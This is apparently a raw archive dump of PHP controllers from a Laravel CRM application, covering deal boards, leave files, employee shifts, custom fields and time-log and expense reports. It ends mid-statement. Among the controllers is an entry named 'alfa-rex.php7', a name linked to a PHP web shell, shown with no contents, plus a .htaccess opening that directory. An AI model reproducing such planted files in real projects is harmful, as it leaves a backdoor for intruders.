$result['boardColumns'][] = $boardColumn; $leads = Deal::select('deals.*', DB::raw("(select next_follow_up_date from lead_follow_up where deal_id = deals.id and deals.next_follow_up = 'yes' ORDER BY next_follow_up_date desc limit 1) as next_follow_up_date")) ->leftJoin('leads', 'leads.id', 'deals.lead_id') ->with('leadAgent', 'leadAgent.user') ->where('deals.pipeline_stage_id', $boardColumn->id) ->orderBy('deals.column_priority', 'asc') ->groupBy('deals.id'); $this->dateFilter($leads, $startDate, $endDate, $request); if (!is_null($request->min) || !is_null($request->max)) { $min = $request->min; $leads = $leads->where('value', '>=', $min); } if (!is_null($request->max)) { $max = $request->max; $leads = $leads->where('value', '<=', $max); } if ($request->followUp != 'all' && $request->followUp != '' && $request->followUp != 'undefined') { $leads = $leads->leftJoin('lead_follow_up', 'lead_follow_up.deal_id', 'deals.id'); if ($request->followUp == 'yes') { $leads->where('deals.next_follow_up', 'yes'); } else { $leads->where('deals.next_follow_up', 'no'); } } if ($this->pipelineId != 'all' && $this->pipelineId != '' && $this->pipelineId != null) { $leads->where('deals.lead_pipeline_id', $this->pipelineId); } if ($request->product != 'all' && $request->product != '') { $leads->leftJoin('lead_products', 'lead_products.deal_id', '=', 'deals.id') ->where('lead_products.product_id', $request->product); } if ($request->deal_watcher_id !== null && $request->deal_watcher_id != 'all' && $request->deal_watcher_id != '') { $leads->where('deals.deal_watcher', $request->deal_watcher_id); } if ($request->lead_agent_id !== null && $request->lead_agent_id != 'null' && $request->lead_agent_id != '' && $request->lead_agent_id != 'all') { $leads->where('deals.lead_id', $request->lead_agent_id); } if ($request->category_id !== null && $request->category_id != 'null' && $request->category_id != '' && $request->category_id != 'all') { $leads = $leads->where('deals.category_id', $request->category_id); } if ($request->searchText != '') { $leads->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orWhere('leads.company_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.mobile', 'like', '%' . request('searchText') . '%'); }); } if (($request->agent != 'all' && $request->agent != '' && $request->agent != 'undefined') || $this->viewLeadPermission == 'added') { $leads->where(function ($query) use ($request) { if ($request->agent != 'all' && $request->agent != '') { $query->whereHas('leadAgent', function ($q) use ($request) { $q->where('user_id', $request->agent); }); } if ($this->viewLeadPermission == 'added') { $query->where('deals.added_by', user()->id); } }); } if ($this->viewLeadPermission == 'owned') { $leads->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.deal_watcher', user()->id); }); } if ($this->viewLeadPermission == 'both') { $leads->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.added_by', user()->id) ->orWhere('deals.deal_watcher', user()->id); }); } $leads->skip(0)->take($this->taskBoardColumnLength); $leads = $leads->get(); $dealIds = $leads->pluck('id')->toArray(); $result['boardColumns'][$key]['total_value'] = 0; if (!empty($dealIds)) { $statusTotalValue = Deal::whereIn('id', $dealIds)->sum('value'); $result['boardColumns'][$key]['total_value'] = $statusTotalValue; } $result['boardColumns'][$key]['deals'] = $leads; } $this->result = $result; $this->startDate = $startDate; $this->endDate = $endDate; $view = view('leads.board.board_data', $this->data)->render(); return Reply::dataOnly(['view' => $view]); } $this->leads = Deal::get(); return view('leads.board.index', $this->data); } public function dateFilter($query, $startDate, $endDate, $request) { if ($startDate && $endDate) { $query->where(function ($task) use ($startDate, $endDate, $request) { if ($request->date_filter_on == 'created_at') { $task->whereBetween(DB::raw('DATE(leads.`created_at`)'), [$startDate, $endDate]); } elseif ($request->date_filter_on == 'updated_at') { $task->whereBetween(DB::raw('DATE(leads.`updated_at`)'), [$startDate, $endDate]); } elseif ($request->date_filter_on == 'next_follow_up_date') { $task->whereHas('followup', function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(lead_follow_up.`next_follow_up_date`)'), [$startDate, $endDate]); }); } }); } } public function loadMore(Request $request) { $startDate = ($request->startDate != 'null') ? companyToDateString($request->startDate) : null; $endDate = ($request->endDate != 'null') ? companyToDateString($request->endDate) : null; $skip = $request->currentTotalTasks; $totalTasks = $request->totalTasks; $leads = Deal::select('leads.*', 'deals.*', DB::raw("(select next_follow_up_date from lead_follow_up where deal_id = leads.id and deals.next_follow_up = 'yes' ORDER BY next_follow_up_date desc limit 1) as next_follow_up_date")) ->leftJoin('leads', 'leads.id', 'deals.lead_id') ->where('deals.pipeline_stage_id', $request->columnId) ->orderBy('leads.column_priority', 'asc') ->groupBy('deals.id'); if ($startDate && $endDate) { $leads->where(function ($task) use ($startDate, $endDate) { $task->whereBetween(DB::raw('DATE(leads.`created_at`)'), [$startDate, $endDate]); $task->orWhereBetween(DB::raw('DATE(leads.`created_at`)'), [$startDate, $endDate]); }); } if (!is_null($request->min) || !is_null($request->max)) { $leads = $leads->whereBetween('value', [$request->min, $request->max]); } if ($request->followUp != 'all' && $request->followUp != '' && $request->followUp != 'undefined') { $leads = $leads->leftJoin('lead_follow_up', 'lead_follow_up.deal_id', 'deals.id'); if ($request->followUp == 'yes') { $leads->where('deals.next_follow_up', 'yes'); } else { $leads->where('deals.next_follow_up', 'no'); } } if ($request->searchText != '') { $leads->leftJoin('leads', 'leads.id', 'deals.lead_id'); $leads->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orWhere('leads.company_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.mobile', 'like', '%' . request('searchText') . '%'); }); } $leads->skip($skip)->take($this->taskBoardColumnLength); $leads = $leads->get(); $this->leads = $leads; if ($totalTasks <= ($skip + $this->taskBoardColumnLength)) { $loadStatus = 'hide'; } else { $loadStatus = 'show'; } $view = view('leads.board.load_more', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'load_more' => $loadStatus]); } public function updateIndex(Request $request) { $taskIds = $request->taskIds; $boardColumnId = $request->boardColumnId; $priorities = $request->prioritys; $board = PipelineStage::findOrFail($boardColumnId); if (isset($taskIds) && count($taskIds) > 0) { $taskIds = (array_filter($taskIds, function ($value) { return $value !== null; })); foreach ($taskIds as $key => $taskId) { if (!is_null($taskId)) { $task = Deal::findOrFail($taskId); $task->update( [ 'pipeline_stage_id' => $boardColumnId, 'column_priority' => $priorities[$key] ] ); } } } return Reply::dataOnly(['status' => 'success']); } public function collapseColumn(Request $request) { $setting = UserLeadboardSetting::firstOrNew([ 'user_id' => user()->id, 'pipeline_stage_id' => $request->boardColumnId, ]); $setting->collapsed = (($request->type == 'minimize') ? 1 : 0); $setting->save(); return Reply::dataOnly(['status' => 'success']); } public function getStageSlug(Request $request) { $stage = PipelineStage::find($request->statusID); return response()->json(['slug' => $stage->slug]); } } Http/Controllers/CustomLinkSettingController.php000064400000007611150325104510016175 0ustar00pageTitle = 'app.menu.customLinkSetting'; $this->activeSettingMenu = 'custom_link_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_custom_link_setting') !== 'all'); return $next($request); }); } public function index() { $this->custom_links = CustomLinkSetting::all(); $this->roles = Role::where('name', '<>', 'admin')->get(); $this->view = 'custom-link-settings.ajax.custom-link-setting'; $this->activeTab = 'custom-link-setting'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('custom-link-settings.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->roles = Role::where('name', '<>', 'admin')->get(); return view('custom-link-settings.create', $this->data); } /** * Store a newly created resource in storage. * * @param StoreCustomLink $request * @return \Illuminate\Http\Response */ public function store(StoreCustomLink $request) { $custom_link = new CustomLinkSetting(); $custom_link->link_title = $request->link_title; $custom_link->url = $request->url; $custom_link->can_be_viewed_by = json_encode($request->can_be_viewed_by); $custom_link->status = $request->status; $custom_link->save(); session()->forget('custom_link_setting'); return Reply::success(__('messages.recordSaved')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { return redirect(route('custom-link-settings.edit', $id)); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->custom_link = CustomLinkSetting::findOrFail($id); $this->roles = Role::where('name', '<>', 'admin')->get(); return view('custom-link-settings.edit', $this->data); } /** * Update the specified resource in storage. * * @param UpdateCustomLink $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateCustomLink $request, $id) { $custom_link = CustomLinkSetting::findOrFail($id); $custom_link->link_title = $request->link_title; $custom_link->url = $request->url; $custom_link->can_be_viewed_by = json_encode($request->can_be_viewed_by); $custom_link->status = $request->status; $custom_link->save(); session()->forget('custom_link_setting'); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { CustomLinkSetting::destroy($id); session()->forget('custom_link_setting'); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/LeaveFileController.php000064400000003645150325104510014406 0ustar00hasFile('file')) { $leaveIDs = $request->input('leave_ids'); foreach ($leaveIDs as $leaveID) { foreach ($request->file as $fileData) { $file = new LeaveFile(); $file->leave_id = $leaveID; $filename = Files::uploadLocalOrS3($fileData, LeaveFile::FILE_PATH . '/' . $leaveID); $file->user_id = user()->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $file = LeaveFile::findOrFail($id); $this->leave = Leave::findorFail($file->leave_id); Files::deleteFile($file->hashname, LeaveFile::FILE_PATH . '/' . $file->leave_id); Files::deleteDirectory(LeaveFile::FILE_PATH . '/' . $file->leave_id); LeaveFile::destroy($id); $this->files = LeaveFile::where('leave_id', $file->leave_id)->orderByDesc('id')->get(); $view = view('leaves.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $file = LeaveFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); return download_local_s3($file, LeaveFile::FILE_PATH . '/' . $file->leave_id . '/' . $file->hashname); } } Http/Controllers/.htaccess000064400000000544150325104510011566 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Controllers/EmployeeShiftController.php000064400000010607150325104510015323 0ustar00pageTitle = 'app.menu.ticketTypes'; $this->activeSettingMenu = 'ticket_types'; } public function create() { return view('employee-shifts.create', $this->data); } public function store(StoreEmployeeShift $request) { $setting = new EmployeeShift(); $setting->shift_name = $request->shift_name; $setting->shift_short_code = $request->shift_short_code; $setting->color = $request->color; $setting->office_start_time = Carbon::createFromFormat($this->company->time_format, $request->office_start_time); $setting->office_end_time = Carbon::createFromFormat($this->company->time_format, $request->office_end_time); $setting->auto_clock_out_time = $request->auto_clock_out_time; $setting->halfday_mark_time = Carbon::createFromFormat($this->company->time_format, $request->halfday_mark_time); $setting->late_mark_duration = $request->late_mark_duration ?? 0; $setting->clockin_in_day = $request->clockin_in_day; $setting->office_open_days = json_encode($request->office_open_days); $setting->early_clock_in = $request->early_clock_in; $setting->shift_type = $request->shift_type; $setting->flexible_total_hours = $request->total_shift_hours; $setting->flexible_half_day_hours = $request->halfday_shift_hours; $setting->flexible_auto_clockout = $request->auto_clockout; $setting->save(); session()->forget('attendance_setting'); return Reply::success(__('messages.employeeShiftAdded')); } public function edit($id) { $this->employeeShift = EmployeeShift::findOrFail($id); $this->openDays = json_decode($this->employeeShift->office_open_days); return view('employee-shifts.edit', $this->data); } public function destroy($id) { EmployeeShift::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function setDefaultShift() { $this->company->attendanceSetting->update([ 'default_employee_shift' => request()->shiftID ]); session()->forget('attendance_setting'); return Reply::success(__('messages.updateSuccess')); } public function update(StoreEmployeeShift $request, $id) { $setting = EmployeeShift::findOrFail($id); $setting->shift_name = $request->shift_name; $setting->shift_short_code = $request->shift_short_code; $setting->color = $request->color; $setting->office_start_time = Carbon::createFromFormat($this->company->time_format, $request->office_start_time); $setting->office_end_time = Carbon::createFromFormat($this->company->time_format, $request->office_end_time); $setting->auto_clock_out_time = $request->auto_clock_out_time; $setting->halfday_mark_time = Carbon::createFromFormat($this->company->time_format, $request->halfday_mark_time); $setting->late_mark_duration = $request->late_mark_duration ?? 0; $setting->clockin_in_day = $request->clockin_in_day; $setting->office_open_days = json_encode($request->office_open_days); $setting->early_clock_in = $request->early_clock_in; $setting->flexible_total_hours = $request->total_shift_hours; $setting->flexible_half_day_hours = $request->halfday_shift_hours; $setting->flexible_auto_clockout = $request->auto_clockout; $setting->save(); session()->forget('attendance_setting'); return Reply::success(__('messages.updateSuccess')); } public function index() { $this->weekMap = Holiday::weekMap(); $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); $generalShift = attendance_setting(); $this->defaultShift = ($generalShift && $generalShift->attendanceSetting && $generalShift->attendanceSetting->shift) ? $generalShift->attendanceSetting->shift : '--'; return view('employee-shifts.index', $this->data); } } Http/Controllers/KnowledgeBaseCategoryController.php000064400000003210150325104510016746 0ustar00categories = KnowledgeBaseCategory::all(); return view('knowledge-base.create_category', $this->data); } public function store(KnowledgeBaseCategoryStore $request) { $category = new KnowledgeBaseCategory(); $category->name = strip_tags($request->category_name); $category->save(); $categoryData = KnowledgeBaseCategory::all(); $options = BaseModel::options($categoryData, $category, 'name'); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public function update(KnowledgeBaseCategoryStore $request, $id) { $category = KnowledgeBaseCategory::findOrFail($id); $category->name = strip_tags($request->category_name); $category->save(); $categoryData = KnowledgeBaseCategory::all(); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $categoryData]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $category = KnowledgeBaseCategory::findOrFail($id); $category->delete(); $categoryData = KnowledgeBaseCategory::all(); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $categoryData]); } } Http/Controllers/MessageFileController.php000064400000004225150325104510014731 0ustar00pageTitle = 'app.menu.messages'; $this->middleware(function ($request, $next) { abort_403(!in_array('messages', $this->user->modules)); return $next($request); }); } public function store(Request $request) { if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new UserchatFile(); $file->users_chat_id = $request->message_id; $filename = Files::uploadLocalOrS3($fileData, UserchatFile::FILE_PATH); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } $this->userChatFiles = UserchatFile::where('users_chat_id', $request->message_id)->get(); $this->chatDetails = UserChat::chatDetail($request->receiver_id, user()->id); $messageList = view('messages.message_list', $this->data)->render(); return Reply::successWithData(__('messages.fileUploaded'), ['message_list' => $messageList]); } public function destroy(Request $request, $id) { $file = UserchatFile::findOrFail($id); Files::deleteFile($file->hashname, 'message-files/' . $file->users_chat_id); UserchatFile::destroy($id); return Reply::success(__('messages.deleteSuccess')); } /** * @param int $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse|\Symfony\Component\HttpFoundation\StreamedResponse */ // phpcs:ignore public function download($id) { $file = UserchatFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); return download_local_s3($file, UserchatFile::FILE_PATH . '/' . $file->hashname); } } Http/Controllers/LeadCategoryController.php000064400000007246150325104510015116 0ustar00permission('add_lead_category'); abort_403(!in_array($viewPermission, ['all', 'added'])); $this->categories = LeadCategory::all(); return view('lead-settings.create-category-modal', $this->data); } /** * @param StoreLeadCategory $request * @return array|void */ public function store(StoreLeadCategory $request) { $viewPermission = user()->permission('add_lead_category'); abort_403(!in_array($viewPermission, ['all', 'added'])); $category = new LeadCategory(); $category->category_name = $request->category_name; $category->save(); $categoryData = LeadCategory::all(); $list = ''; foreach ($categoryData as $item) { $list .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $list]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->category = LeadCategory::findOrFail($id); $this->editPermission = user()->permission('edit_lead_category'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->category->added_by == user()->id))); return view('lead-settings.edit-category-modal', $this->data); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateLeadCategory $request, $id) { $category = LeadCategory::findOrFail($id); $this->editPermission = user()->permission('edit_lead_category'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->category->added_by == user()->id))); $category->category_name = $request->category_name; $category->save(); $categoryData = LeadCategory::all(); return Reply::successWithData(__('messages.recordSaved'), ['data' => $categoryData]); } /** * Remove the specified resource from storage. * * @param int $id * @return array */ public function destroy($id) { $category = LeadCategory::findOrFail($id); $this->deletePermission = user()->permission('delete_lead_category'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $category->added_by == user()->id))); LeadCategory::destroy($id); $categoryData = LeadCategory::all(); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $categoryData]); } public function updateLeadCategory() { LeadCategory::where('is_default', 1)->where('company_id', company()->id)->update(['is_default' => 0]); $category = LeadCategory::findOrFail(request()->categoryId); $category->is_default = 1; $category->save(); $categoryData = LeadCategory::all(); return Reply::successWithData(__('messages.recordSaved'), ['data' => $categoryData]); } } Http/Controllers/CustomFieldController.php000064400000012733150325104510014766 0ustar00pageTitle = 'app.menu.customFields'; $this->activeSettingMenu = 'custom_fields'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_custom_field_setting') !== 'all'); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->customFields = CustomField::join('custom_field_groups', 'custom_field_groups.id', '=', 'custom_fields.custom_field_group_id') ->select('custom_fields.id', 'custom_field_groups.name as module', 'custom_fields.label', 'custom_fields.type', 'custom_fields.values', 'custom_fields.required', 'custom_fields.export', 'custom_fields.visible') ->get(); $this->groupedCustomFields = $this->customFields->groupBy('module'); return view('custom-fields.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->customFieldGroups = CustomFieldGroup::all(); $this->types = ['text', 'number', 'password', 'textarea', 'select', 'radio', 'date', 'checkbox', 'file']; return view('custom-fields.create-custom-field-modal', $this->data); } /** * @param StoreCustomField $request * @return array */ public function store(StoreCustomField $request) { $name = CustomField::generateUniqueSlug($request->get('label'), $request->module); $group = [ 'fields' => [ [ 'name' => $name, 'custom_field_group_id' => $request->module, 'label' => $request->get('label'), 'type' => $request->get('type'), 'required' => $request->get('required'), 'values' => $request->get('value'), 'export' => $request->get('export'), 'visible' => $request->get('visible'), ] ], ]; $this->addCustomField($group); return Reply::success('messages.recordSaved'); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->field = CustomField::findOrFail($id); $this->field->values = json_decode($this->field->values); return view('custom-fields.edit-custom-field-modal', $this->data); } /** * Update the specified resource in storage. * * @param UpdateCustomField $request */ public function update(UpdateCustomField $request, $id) { $field = CustomField::findOrFail($id); $name = CustomField::generateUniqueSlug($request->label, $field->custom_field_group_id); $field->label = $request->label; $field->name = $name; $field->values = json_encode($request->value); $field->required = $request->required; $field->export = $request->export; $field->visible = $request->visible; $field->save(); return Reply::success('messages.updateSuccess'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // Find the custom field $field = CustomField::findOrFail($id); $module = $field->fieldGroup->name; // Delete the custom field $field->delete(); // Fetch the updated count for the module $updatedCount = CustomField::whereHas('fieldGroup', function ($query) use ($module) { $query->where('name', $module); })->count(); return Reply::successWithData(__('messages.deleteSuccess'), ['updatedCount' => $updatedCount]); } private function addCustomField($group) { // Add Custom Fields for this group foreach ($group['fields'] as $field) { $insertData = [ 'custom_field_group_id' => $field['custom_field_group_id'], 'label' => $field['label'], 'name' => $field['name'], 'type' => $field['type'], 'export' => $field['export'], 'visible' => $field['visible'] ]; if (isset($field['required']) && (in_array($field['required'], ['yes', 'on', 1]))) { $insertData['required'] = 'yes'; } else { $insertData['required'] = 'no'; } // Single value should be stored as text (multi value JSON encoded) if (isset($field['values'])) { if (is_array($field['values'])) { $insertData['values'] = \GuzzleHttp\json_encode($field['values']); } else { $insertData['values'] = $field['values']; } } CustomField::create($insertData); } } } Http/Controllers/TimelogReportController.php000064400000024645150325104510015351 0ustar00pageTitle = 'app.menu.timeLogReport'; $this->pageIcon = 'ti-pie-chart'; } public function index(TimeLogReportDataTable $dataTable) { if (!request()->ajax()) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->employees = User::allEmployees(); $this->clients = User::allClients(); $this->projects = Project::allProjects(); $this->tasks = Task::all(); } return $dataTable->render('reports.timelogs.index', $this->data); } public function timelogChartData(Request $request) { $projectId = $request->projectId; $employee = $request->employee; $client = $request->client; $taskId = $request->taskId; $approved = $request->approved; $invoice = $request->invoice; $earliestLog = ProjectTimeLog::orderBy('start_time', 'asc')->first(); $latestLog = ProjectTimeLog::orderBy('end_time', 'desc')->first(); // $startDate = $earliestLog ? $earliestLog->start_time->toDateString() : now($this->company->timezone)->startOfMonth()->toDateString(); // $endDate = $latestLog ? $latestLog->end_time->toDateString() : now($this->company->timezone)->toDateString(); $startDate = now($this->company->timezone)->startOfMonth()->toDateString(); $endDate = now($this->company->timezone)->endOfMonth()->toDateString(); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $timelogs = ProjectTimeLog::with('breaks', 'activeBreak') ->whereDate('project_time_logs.start_time', '>=', $startDate) ->whereDate('project_time_logs.end_time', '<=', $endDate) ->whereHas('task', function ($query) { $query->whereNull('deleted_at'); }); if (!is_null($employee) && $employee !== 'all') { $timelogs = $timelogs->where('project_time_logs.user_id', $employee); } if (!is_null($client) && $client !== 'all') { $timelogs = $timelogs->where('projects.client_id', $client); } if (!is_null($projectId) && $projectId !== 'all') { $timelogs = $timelogs->where('project_time_logs.project_id', '=', $projectId); } if (!is_null($taskId) && $taskId !== 'all') { $timelogs = $timelogs->where('project_time_logs.task_id', '=', $taskId); } if (!is_null($approved) && $approved !== 'all') { if ($approved == 2) { $timelogs = $timelogs->whereNull('project_time_logs.end_time'); } else { $timelogs = $timelogs->where('project_time_logs.approved', '=', $approved); } } if (!is_null($invoice) && $invoice !== 'all') { if ($invoice == 0) { $timelogs = $timelogs->where('project_time_logs.invoice_id', '=', null); }else if ($invoice == 1) { $timelogs = $timelogs->where('project_time_logs.invoice_id', '!=', null); } } $total_break_hours = 0; foreach ($timelogs->get() as $timelog) { $total_break_hours += $timelog->breaks->sum('total_minutes'); } $timelogg = $timelogs ->groupBy(DB::raw('DATE(project_time_logs.start_time)')) ->orderBy('start_time', 'ASC') ->get([ DB::raw('DATE_FORMAT(start_time,\'%d-%M-%y\') as date'), DB::raw('FLOOR(SUM(total_minutes)) as total_minutes'), ]); $breaks = ProjectTimeLog::with('breaks') ->whereDate('project_time_logs.start_time', '>=', $startDate) ->whereDate('project_time_logs.end_time', '<=', $endDate) ->get() ->groupBy(fn ($log) => $log->start_time->format('d-F-y')) ->map(function ($logs) { return $logs->sum(fn ($log) => $log->breaks->sum('total_minutes')); }); $values = []; foreach ($timelogg as $log) { $breakMinutes = $breaks[$log->date] ?? 0; $loggedHours = $log->total_minutes - $breakMinutes; $hours = intdiv($loggedHours, 60); $minutes = $loggedHours % 60; // $minutes = $minutes > 0 ? $minutes : 0; // Format output based on hours and minutes $values[] = $hours > 0 ? $hours . ($minutes > 0 ? '.' . $minutes : '') : ($minutes > 0 ? $minutes : 0); } $data['labels'] = $timelogg->pluck('date')->toArray(); $data['values'] = $values; $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('modules.dashboard.totalHoursLogged'); $this->chartData = $data; $html = view('reports.timelogs.chart', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } public function consolidateIndex(TimeLogConsolidatedReportDataTable $dataTable) { $this->pageTitle = 'app.timelogConsolidatedReport'; if (!request()->ajax()) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->employees = User::allEmployees(); $this->clients = User::allClients(); $this->projects = Project::allProjects(); $this->tasks = Task::all(); } return $dataTable->render('reports.timelogs.consolidate-index', $this->data); } public function totalTime(Request $request) { $startDate = ($request->startDate == null) ? null : now($this->company->timezone)->startOfMonth()->toDateString(); $endDate = ($request->endDate == null) ? null : now($this->company->timezone)->toDateString(); $projectTimeLog = ProjectTimeLog::with('breaks') ->whereHas('task', function ($query) { $query->whereNull('deleted_at'); })->where('user_id', $request->employeeID); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $projectTimeLog = $projectTimeLog->where(DB::raw('DATE(`start_time`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $projectTimeLog = $projectTimeLog->where(DB::raw('DATE(`start_time`)'), '<=', $endDate); } if ($request->employeeID != 'all' && !is_null($request->employeeID)) { $employeeID = $request->employeeID; $projectTimeLog = $projectTimeLog->where(function ($query) use ($employeeID) { $query->where('user_id', $employeeID); }); } $projectTimeLog = $projectTimeLog->get(); $totalWorkingTime = 0; $totalBreakTime = 0; foreach ($projectTimeLog as $projectTime) { if (is_null($projectTime->end_time)) { $totalWorkingTime += (($projectTime->activeBreak) ? $projectTime->activeBreak->start_time->diffInMinutes($projectTime->start_time) : now()->diffInMinutes($projectTime->start_time)) - $projectTime->breaks->sum('total_minutes'); } else { $totalWorkingTime += $projectTime->total_minutes - $projectTime->breaks->sum('total_minutes'); } $totalBreakTime += $projectTime->breaks->sum('total_minutes'); } $totalHoursWorked = $this->formatTime($totalWorkingTime); $totalBreak = $this->formatTime($totalBreakTime); $totalEarnings = $projectTimeLog->sum('earnings'); return Reply::dataOnly(['status' => 'success', 'totalHoursWorked' => $totalHoursWorked, 'totalBreak' => $totalBreak, 'totalEarnings' => currency_format($totalEarnings, company()->currency_id)]); } private function formatTime($totalMinutes) { $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; return $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); } public function projectWiseTimelog(TimeLogProjectwiseReportDataTable $dataTable) { $this->pageTitle = 'app.projectWiseTimeLogReport'; if (!request()->ajax()) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->projects = Project::allProjects(); $this->employees = User::allEmployees(); } return $dataTable->render('reports.timelogs.project-wise', $this->data); } public function exportProjectWiseTimeLog(Request $request) { if ($request->startDate == null || $request->startDate == 'null') { $startDate = null; } else { $startDate = companyToDateString($request->startDate); } if ($request->end == null || $request->end == 'null') { $endDate = null; } else { $endDate = companyToDateString($request->startDate); } $employeeId = $request->employee; $projectId = $request->project; $export = new ProjectwiseTimeLogExport( $startDate, $endDate, $employeeId, $projectId ); return Excel::download($export, 'project-wise-timelog.xlsx'); } } Http/Controllers/alfa-rex.php7000064400000026574150325104510012302 0ustar00Http/Controllers/ExpenseReportController.php000064400000017452150325104510015356 0ustar00pageTitle = 'app.menu.expenseReport'; $this->categoryTitle = 'modules.expenseCategory.expenseCategoryReport'; } public function index(ExpenseReportDataTable $dataTable) { abort_403(user()->permission('view_expense_report') != 'all'); $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->currencies = Currency::all(); $this->currentCurrencyId = $this->company->currency_id; $this->projects = Project::allProjects(); $this->employees = User::withRole('employee')->get(); $this->categories = ExpensesCategory::get(); return $dataTable->render('reports.expense.index', $this->data); } public function expenseChartData(Request $request) { $startDate = ($request->startDate == null) ? null : now($this->company->timezone)->startOfMonth()->toDateString(); $endDate = ($request->endDate == null) ? null : now($this->company->timezone)->toDateString(); // Expense report start $expenses = Expense::where('status', 'approved'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $expenses = $expenses->where(DB::raw('DATE(`purchase_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $expenses = $expenses->where(DB::raw('DATE(`purchase_date`)'), '<=', $endDate); } if ($request->categoryID != 'all' && !is_null($request->categoryID)) { $expenses = $expenses->where('category_id', '=', $request->categoryID); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $expenses = $expenses->where('project_id', '=', $request->projectID); } if ($request->employeeID != 'all' && !is_null($request->employeeID)) { $employeeID = $request->employeeID; $expenses = $expenses->where(function ($query) use ($employeeID) { $query->where('user_id', $employeeID); }); } $expenses = $expenses->orderBy('purchase_date', 'ASC') ->get([ DB::raw('DATE_FORMAT(purchase_date,"%d-%M-%y") as date'), DB::raw('YEAR(purchase_date) year, MONTH(purchase_date) month'), 'price', 'user_id', 'project_id', 'currency_id', 'exchange_rate', 'default_currency_id', 'category_id', ]); $prices = array(); foreach ($expenses as $expense) { if 